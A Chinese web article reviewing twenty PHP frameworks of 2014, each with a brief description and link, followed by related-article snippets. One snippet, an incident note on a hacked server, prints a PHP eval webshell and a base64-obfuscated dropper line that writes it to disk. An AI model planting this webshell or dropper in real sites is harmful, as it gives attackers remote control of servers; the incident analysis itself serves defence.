20个2014年最优秀的PHP框架回顾

对于Web开发者来说,PHP是一款非常强大而又受欢迎的编程语言。世界上很多顶级的网站都是基于PHP开发的。本文我们就来回顾一下20个2014年最优秀的PHP框架。

每一个开发者都知道,拥有一个强大的框架可以让开发工作变得更加快捷、安全和有效。在开发项目之前选择一款合适的框架可以为今后奠定厚实的基础,下面这20个PHP框架你可以有选择的使用,一定会帮助到你的。

 1、Laravel

  Laravel是一款免费并且开源的PHP应用框架,它是为开发基于MVC的WEB应用而设计的,个人觉得,Laravel是2014年最棒的PHP框架了,它可以帮助你创建一些很酷的WEB应用,而且可以轻松地使用权限验证、URL路由、Session以及缓存等功能。

  官方网站:http://laravel.com/

 2、Phalcon

  Phalcon是运行速度最快的一个PHP框架,它的底层是用C实现的,但是上层提供一些PHP扩展,Phalcon作为一款PHP框架以高性能和低消耗著称。尽管它用C语言实现,但是我们并不需要使用C语言,你只要会PHP就可以使用它了。

  官方网站:http://phalconphp.com/en/

 3、Symfony

  Symfony是一款为Web项目准备的PHP框架,它可以帮助你加速创建和维护PHP应用。Symfony可以帮助你省去很多重复的编码工作,让你的工作重心转移到设计和控制上面来。

  Symfony是一款可重用的PHP组件,它是基于MIT协议的开源软件,很多CMS系统和论坛程序都是基于Symfony开发的,例如Drupal和phpBB。

  官方网站:http://symfony.com/

 4、Yii

  Yii是一款快速、安全和专业的PHP框架,同时它也是一款开发WEB 2.0应用的高性能PHP框架,Yii的功能非常强大,内置以下功能:MVC、DAO/ActiveRecord、I18N、权限验证、缓存、安全控制、测试、数据访问对象等。

  官方网站:http://www.yiiframework.com/

 5、CodeIgniter

  CodeIgniter是一款非常敏捷的开源PHP框架,如果你要用PHP开发一个简单而优雅的工具包,那么CodeIgniter就非常合适。

  官方网站:https://ellislab.com/codeigniter

 6、CakePHP

  CakePHP是一款老牌的PHP框架,正因为它的优秀所以也列入了2014年最优秀的PHP框架中,现在稳定版本已经是V3.0了。CakePHP可以帮助你简单、快捷地创建PHP应用程序,并且你可以用很少的代码实现强大的功能。

  官方网站:http://cakephp.org/

 7、Aura

  如果你喜欢用简洁的代码创建应用程序,那么你可以选择使用Aura,Aura也有相当大的一部分用户,使用方法和CakePHP类似,Aura的主要目标是为PHP开发者提供一个高质量、可测试、标准化组件的框架。

  官方网站:http://auraphp.com/

 8、Zend Framework

  前些年我在大型的WEB项目中使用过Zend 1和Zend 2,作为顶尖的PHP框架,Zend确实比较好用,而且文档也和很丰富。我们可以利用Zend创建一些扩展性非常好的PHP应用。

  官方网站:http://framework.zend.com/

 9、Kohana

  Kohana是一款敏捷但是功能强大的PHP框架,我们可以用Kohana快速地创建Web应用,因为它有丰富的组件,比如数据访问接口、代码分析、加密和验证等等。

  官方网站:http://kohanaframework.org/

 10、Slim framework

  Slim是一款轻量级的PHP框架,作为一个微框架,Slim可以让你简单地创建一些功能强大的应用程序和API接口。Slim有强大的路由功能、自定义视图模板、flash消息、AES-256加密的安全cookies、HTTP缓存、可自定义的日志、异常处理以及调试和简单的配置。

  官方网站:http://www.slimframework.com/

 11、Fuel PHP

  Fuel PHP是一款简单、可扩展的PHP框架,基于其他框架的设计理念,Fuel已经是V2.0版本了,目前认识beta版本。

  Fuel全面支持HMVC,这也是Fuel架构的一部分。另外,Fuel强大的路由功能让你灵活地处理好控制器和视图之间的对应关系。

  官方网站:http://fuelphp.com/

 12、Flight

  Flight是一款扩展性很强的微型PHP框架,Flight可以让你快速创建REST风格的web应用,它需要PHP5.3以上的版本支持,当然Flight也是基于MIT协议开源的。

  官方网站:http://flightphp.com/

 13、Medoo

  我非常喜欢这个微型框架,Medoo是一款最轻量级的PHP框架,可以用它来加速我们的应用开发。它只有13KB的一个文件,学习和使用都非常简单,并且Medoo也是开源的。

  官方网站:http://medoo.in/

 14、PHPixie

  PHPixie是一款轻量级的PHP MVC框架,它非常小巧,而且文档也比较全面,我们只需要做尽可能的配置就可以了。

  官方网站:http://phpixie.com/

 15、Pop PHP

  Pop是一款强劲和易学的PHP框架,并且提供很多详细的API接口及其文档,支持PHP5.3及其以上版本。现在,Pop PHP依然保持着轻量级的特点,尽管很多新特性在逐渐加入到Pop中,但它使用起来依然很方便。

  官方网站:http://www.popphp.org/

 16、Simple MVC Framework

  Simple MVC Framework的安装及其简单,代码结构也非常简单,很容易学习。我们只需要设置网站路径就可以成功安装它了。在Twitter和Facebook群中也有Simple MVC Framework的讨论区,它是轻量级的,小于1M的大小。

  官方网站:http://simplemvcframework.com/

 17、TYPO3 Flow

  TYPO3是由最大的PHP社区之一的TYPO3管理开发的,也是一个开源的PHP框架。

  官方网站:http://flow.typo3.org/home

 18、Nette

  很受欢迎的PHP开发工具,它的设计理念是尽可能地简单和安全,Nette已经为你考虑了你的网站安全,包括XSS攻击,Session劫持,Session篡改等安全问题。

 官方网站:http://nette.org/en/

 19、Agavi

  Agavi是基于PHP5的PHP MVC框架,它帮助开发者编写简洁的代码,扩展性也非常不错。

  官方网站:http://www.agavi.org/

 20、Silex

  Silex也是一款基于PHP5.3及其以上版本的微型PHP框架,Silex的API使用非常有意思,因为API足够简单明了,利用Pimple的服务,成为一款很棒的第三方扩展应用。

  官方网站:http://silex.sensiolabs.org/

本文汇总数据仅作参考,希望能对大家的PHP程序设计有所帮助。

(0)

相关推荐

  • 常用PHP框架功能对照表

    本文讲述了常用PHP框架功能的对照表,对于进行PHP框架程序开发来说具有一定的实用价值.分享给大家供大家参考.具体分析如下: 自接触PHP开发以来,已使用了不少框架,虽然对每个框架都没有专研至深,但对每一款所使用的PHP框架功能都有一些了解的.至此,本人将大家常用的一些PHP框架功能整理成表,希望对大家在选择PHP框架时,可以做一定的参考. 表中的几项属性含义如下: MVC:表明框架是否附带Model-View-Controller 设置的内置支持: Multiple DB's: 表明框架是否支

  • PHP隐形一句话后门,和ThinkPHP框架加密码程序(base64_decode)

    今天一个客户的服务器频繁被写入: mm.php 内容为: 复制代码 代码如下: <?eval($_POST[c]);?> 最后查到某文件内的第一行为以下代码: 复制代码 代码如下: fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=")); base64_decode("bW0ucGhw") /

  • PHP CURL模拟登录新浪微博抓取页面内容 基于EaglePHP框架开发

    复制代码 代码如下: /** * CURL请求 * @param String $url 请求地址 * @param Array $data 请求数据 */ function curlRequest($url,$data='',$cookieFile=''){ $ch = curl_init(); $option = array( CURLOPT_URL => $url, CURLOPT_HEADER =>0, CURLOPT_RETURNTRANSFER => 1, ); if($co

  • 主流PHP框架的优缺点对比分析

    PHP是一种在国内外都比较流行的开源服务器端脚本开发语言.能够适应大中小型项目的开发需求.我们将在这篇文章中向大家介绍几款主流PHP框架及其相关优缺点评比,作为一个参考分享给朋友们. 主要参考的PHP框架包括:CodeIgniter.CakePHP.ZendFramework.Symfony.我对很多框架也没有认真使用,只是简单试用了一下,可能很多看法不成熟或者是错误的,请大家指正,一起成长. CodeIgniter 优点: 1. 配置简单,全部的配置使用PHP脚本来配置,执行效率高:具有基本的

  • 国外十大最流行的PHP框架排名

    以下为十个目前最流行的基于MVC设计模式的PHP框架. 1. Yii Yii是一个基于组件的高性能的PHP的框架,用于开发大规模Web应用.Yii采用严格的OOP编写,并有着完善的库引用以及全面的教程.从MVC,DAO/ActiveRecord,widgets,caching,等级式RBAC,Web服务,到主体化,I18N和L10N,Yii提供了今日Web 2.0应用开发所需要的几乎一切功能.而且这个框架的价格也并不太高.事实上,Yii是最有效率的PHP框架之一. 2. CodeIgniter

  • ZF等常用php框架中存在的问题

    从Zend Framework v0.13版本开始,我就开始学习使用Zend Framework.当时公司的一个项目也恰好用到了Zend Framework.到了0.6的版本之后就再没有关注细节了.前些日子听说Zend 公司将在5月份正式推出Zend Framework,今天特意叫同学下载下来测试. 最新版本是0.93的,测试发现Zf框架越来越傻瓜式了.很多东西都直接封装在ZF的library里面.你只要知道如何调用就OK拉.和之前的版本详细的确有比较大的变化,也增加了比较多功能.   首先,Z

  • 为什么使用框架 使用框架的优缺点

    正文开始 我们是由于效率和易用性的考虑才产生框架.框架能节省开发时间.框架强制使用公共的约定,因此它能有效地解决一些共有的问题,比如页面渲染,assert判断,安全或者应用配置等.这些共有的问题有个共通的特性是会在每个web应用上都用到. 框架是非常好的,它能让决定更连贯.框架能避免我们写一大堆自定义模块来实现这些性能,我们所需要做的就是将这些共用模块放在框架中实现.框架节省了我们不少的时间和精力,并且让扩展变得更容易.但是这也是问题的根本所在. 由于框架能在我们做代码决策的时候提供很多的帮助,

  • 20个2014年最优秀的PHP框架回顾

    对于Web开发者来说,PHP是一款非常强大而又受欢迎的编程语言.世界上很多顶级的网站都是基于PHP开发的.本文我们就来回顾一下20个2014年最优秀的PHP框架. 每一个开发者都知道,拥有一个强大的框架可以让开发工作变得更加快捷.安全和有效.在开发项目之前选择一款合适的框架可以为今后奠定厚实的基础,下面这20个PHP框架你可以有选择的使用,一定会帮助到你的. 1.Laravel Laravel是一款免费并且开源的PHP应用框架,它是为开发基于MVC的WEB应用而设计的,个人觉得,Laravel是

  • 优秀js开源框架-jQuery使用手册(1)

    jQuery是一款同prototype一样优秀js开发库类,特别是对css和XPath的支持,使我们写js变得更加方便!如果你不是个js高手又想写出优 秀的js效果,jQuery可以帮你达到目的!   下载地址:http://jquery.com 下载完成后先加载到文档中,然后我们来看个简单的例子!<script language="javascript" type="text/javascript">       $(document).ready(f

  • 33个优秀的 jQuery 图片展示插件分享

    jQuery 是一个非常优秀的 JavaScript 框架,使用简单灵活,同时还有许多成熟的插件可供选择,其中最令人印象深刻的应用之一就是对图片的处理,它可以让帮助你在你的项目中加入一些精美的效果,给访问者对网站留下非常好的印象 1. Foxibox 2. MobilySelect 3. MobilySlider 4. Diaporama 5. Flipping Book Image 6. Spherical Panorama Viewer 7. Panel Gallery 8. Gallery

  • 2014年最新推荐的10款 PHP 开发框架

    PHP去年发生了翻天覆地的变化.似乎每个人对于一个好的框架应该是什么样子都有自己的想法,但话又说回来,不同的框架适用于不同类型的项目,没有什么框架是万能的. 优秀的 PHP 框架可以帮助开发者构建干净整洁和结构化的 Web 开发,同时也加快了创建和维护 Web 应用的速度.下面介绍本年度最佳的10款 PHP 开发框架 Laravel 这款可能是现在最受欢迎的 PHP 框架,Laravel 非常强大,而且很高雅,易于学习和使用.非常值得一试! → 更多信息/下载 Flight Flight 是一个

  • 分享精心挑选的12款优秀jQuery Ajax分页插件和教程

    Ajax 技术的出现使得 Web 项目的用户体验有了极大的提高,如今借助优秀的 jQuery 框架很容易实现各种基于 Ajax 技术实现的功能.我们一起来看看下面这些优秀的分页插件. 1.Client-side jQuery pagination plugin : jPages jPages 是一款非常不错的客户端分页插件,有很多特色,例如自动播放.按键翻页.延迟加载等等. 浏览详情  在线演示 2. jPaginate: A Fancy jQuery Pagination Plugin jPa

  • 又一款MVVM组件 Vue基础语法和常用指令(1)

    前言:关于Vue框架,好几个月之前就听说过,了解一项新技术之后,总是处于观望状态,一直在犹豫要不要系统学习下.正好最近有点空,就去官网了解了下,看上去还不错的一个组件,就抽空研究了下.最近园子里vue也确实挺火,各种入门博文眼花缭乱,博主也不敢说写得多好,就当是个学习笔记,有兴趣的可以看看. 一.MVVM大比拼 关于MVVM,原来在介绍knockout.js的时候有过讲解,目前市面上比较火的MVVM框架也是一抓一大把,比如常见的有Knockout.js.Vue.js.React.Angularj

  • Spring Bean的生命周期详细介绍

    Spring作为当前Java最流行.最强大的轻量级框架,受到了程序员的热烈欢迎.准确的了解Spring Bean的生命周期是非常必要的.我们通常使用ApplicationContext作为Spring容器.这里,我们讲的也是 ApplicationContext中Bean的生命周期.而实际上BeanFactory也是差不多的,只不过处理器需要手动注册. 一.生命周期流程图: Spring Bean的完整生命周期从创建Spring容器开始,直到最终Spring容器销毁Bean,这其中包含了一系列关

  • mybatis框架入门学习教程

    MyBatis是一个支持普通SQL查询,存储过程和高级映射的优秀持久层框架.MyBatis消除了几乎所有的JDBC代码和参数的手工设置以及对结果集的检索封装.MyBatis可以使用简单的XML或注解用于配置和原始映射,将接口和Java的POJO(Plain Old Java Objects,普通的Java对象)映射成数据库中的记录. 1.创建工程,导入jar包 创建一个java工程或者web工程都可以,然后导入mybatis的jar包和依赖包还有数据库的jar包,本人使用Oracle10g数据库

  • JS组件系列之MVVM组件 vue 30分钟搞定前端增删改查

    正文 前言:关于Vue框架,好几个月之前就听说过,了解一项新技术之后,总是处于观望状态,一直在犹豫要不要系统学习下.正好最近有点空,就去官网了解了下,看上去还不错的一个组件,就抽空研究了下.最近园子里vue也确实挺火,各种入门博文眼花缭乱,博主也不敢说写得多好,就当是个学习笔记,有兴趣的可以看看. 一.MVVM大比拼 关于MVVM,原来在介绍knockout.js的时候有过讲解,目前市面上比较火的MVVM框架也是一抓一大把,比如常见的有Knockout.js.Vue.js.AvalonJS.An

  • CodeIgniter针对数据库的连接、配置及使用方法

    本文实例讲述了CodeIgniter针对数据库的连接.配置及使用方法.分享给大家供大家参考,具体如下: 1. 数据库: create database test; create table users( id int not null, name varchar(10), pwd varchar(10), email varchar(20) ) insert into users values(1,'shunping','shunping','aa@163.com'); insert into

随机推荐